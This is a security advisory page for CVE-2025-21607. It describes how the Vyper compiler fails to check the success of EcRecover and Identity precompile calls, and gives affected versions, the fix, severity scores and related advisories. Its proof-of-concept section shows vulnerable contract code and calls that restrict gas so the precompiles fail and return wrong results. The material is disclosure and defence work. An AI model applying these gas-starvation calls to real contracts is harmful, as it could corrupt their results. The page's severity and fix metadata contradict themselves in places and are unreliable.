GHSA-vgf2-gvx8-xwc3 CVE-2025-21607 PYSEC-2025-33

Vyper Does Not Check the Success of Certain Precompile Calls

High PyPI

Severity: 0.0 / 10; High · CVSS 4.0
Exploit chance (EPSS): 0.67%; Chance of exploitation in the next 30 days. Higher than 52.08% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-670 Always-Incorrect Control Flow Implementation; CWE-703 Improper Check or Handling of Exceptional Conditions
Fix: 0.4.1; Upgrade vyper to this version or later

Description

Summary

When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.

Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.

The fix is tracked in https://github.com/vyperlang/vyper/pull/4451.

Details

The relevant precompiles

EcRecover

EcRecover is used in vyper's ecrecover built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.

Identity

The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.
Identity is no longer used when evm-version cancun is used (because MCOPY is used instead). In 0.4.0 cancun is default, in 0.3.10 cancun is an option, otherwise cancun is not available. As only pre-cancun versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.

The other precompiles

Calls to Sha2, ecAdd, and ecMul have success checks and have had them for a long time.
The precompiles modexp, ripe, blake, ecPairing, and Point Evaluation have no builtins in vyper.

PoC

In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.

`ecrecover` use

Affected versions: 0.2.0 - 0.4.0
For older compiler versions (<=0.3.9) it behaves similarly to this older advisory. As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and ecrecover were checked.
For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.
As mentioned above at most 47 gas is left after the failed call, hence a return is the most realistic scenario to be attacked.

Vulnerable Code:

@external
@view
def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address:
    return ecrecover(hash, v, r, s)

Problematic Call:

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
    )
)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
        gas=3000,
    )
)  # Returns 0x0000000000000000000000000000000000000000

Identity to copy Dynamic Arrays

Affected versions: 0.3.2 - 0.3.9
Dynamic Arrays might be copied on different occasions
That copy operation can fail leading to incorrect accesses afterwards

Vulnerable Code:


@external
def foo() -> uint256:
    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    b: DynArray[uint256, 4000] = a
    return b[0]

Problematic Call:

print(c.foo())            # Prints 2
print(c.foo(gas=170000))  # Prints 0

Identity in ABI Encoding of Returndata

Affected versions: 0.3.2 - 0.4.0
Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned
In that return there is a memory copy which can fail

Vulnerable Code:

@external
@view
def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]:
    z: DynArray[String[1000000], 2] = [x, y]
    # Some code
    return z

Problematic Call:

calldata0 = "a"*10
calldata1 = "b"*1000000
c.foo(calldata0, calldata1)                   # Returns correct data
c.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)

Assertion based on data copied through Identity

Affected versions: 0.2.0 - 0.4.0
An incomplete copy operation might falsify the result of a subsequent assert

Vulnerable Code:

@internal
def bar() -> uint256[3000]:
    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,…

Affected versions

PyPI

Package	Vulnerable	Fixed in
vyper	`all versions`	No fix yet
vyper	`< 0.4.1`	`0.4.1`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vyper PyPI → `0.4.1`

pip

pip install --upgrade "vyper>=0.4.1"

poetry

poetry add "vyper>=0.4.1"

uv

uv add "vyper>=0.4.1"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector: Network
Attack complexity: High
Attack requirements: Present
Privileges required: Low
User interaction: None
Confidentiality (vulnerable system): None
Integrity (vulnerable system): Low
Availability (vulnerable system): None
Confidentiality (subsequent systems): None
Integrity (subsequent systems): None
Availability (subsequent systems): None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Attack vector: Network
Attack complexity: Low
Privileges required: None
User interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: High
Availability: None

Weakness

CWE-670: Always-Incorrect Control Flow Implementation

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

CWE-703: Improper Check or Handling of Exceptional Conditions

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

References

Advisories

Packages

github.com/vyperlang/vyper

Timeline

Jan 14, 2025 Published
Sep 10, 2026 Last updated by the source
Oct 31, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-2r3x-4mrv-mcxf Vyper: Memory corruption using function calls within tuples / nested calls	Medium	Also affects vyper
GHSA-4v7v-gqf9-ww2g Vyper: Call stack corruption when passing complex type containing non-base type members as argument	Medium	Also affects vyper
GHSA-vg88-3v92-rjx2 Vyper: Return inside for loop more than 1 level deep	Low	Also affects vyper
GHSA-3vcg-j39x-cwfm Vyper's `slice()` may elide side-effects when output length is 0	Low	Also affects vyper
GHSA-qhr6-mgqr-mchm Vyper's `concat()` builtin may elide side-effects for zero-length arguments	Low	Also affects vyper
GHSA-h33q-mhmp-8p67 Vyper has a double eval in For List Iter	High	Also affects vyper
GHSA-4w26-8p97-f4jp AugAssign evaluation order causing OOB write within the object in Vyper	Critical	Also affects vyper
GHSA-2p94-8669-xg86 Vyper's sqrt doesn't define rounding behavior	High	Also affects vyper

Is this in your code?

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Description

Summary

Details

The relevant precompiles

EcRecover

Identity

The other precompiles

PoC

ecrecover use

Identity to copy Dynamic Arrays

Identity in ABI Encoding of Returndata

Assertion based on data copied through Identity

Affected versions

PyPI

How to fix

vyper PyPI → 0.4.1

Severity breakdown

CVSS 4.0 0.0

CVSS 3.1 7.5

Weakness

CWE-670: Always-Incorrect Control Flow Implementation

CWE-703: Improper Check or Handling of Exceptional Conditions

References

Advisories

Packages

Other links

Timeline

Related advisories

`ecrecover` use

vyper PyPI → `0.4.1`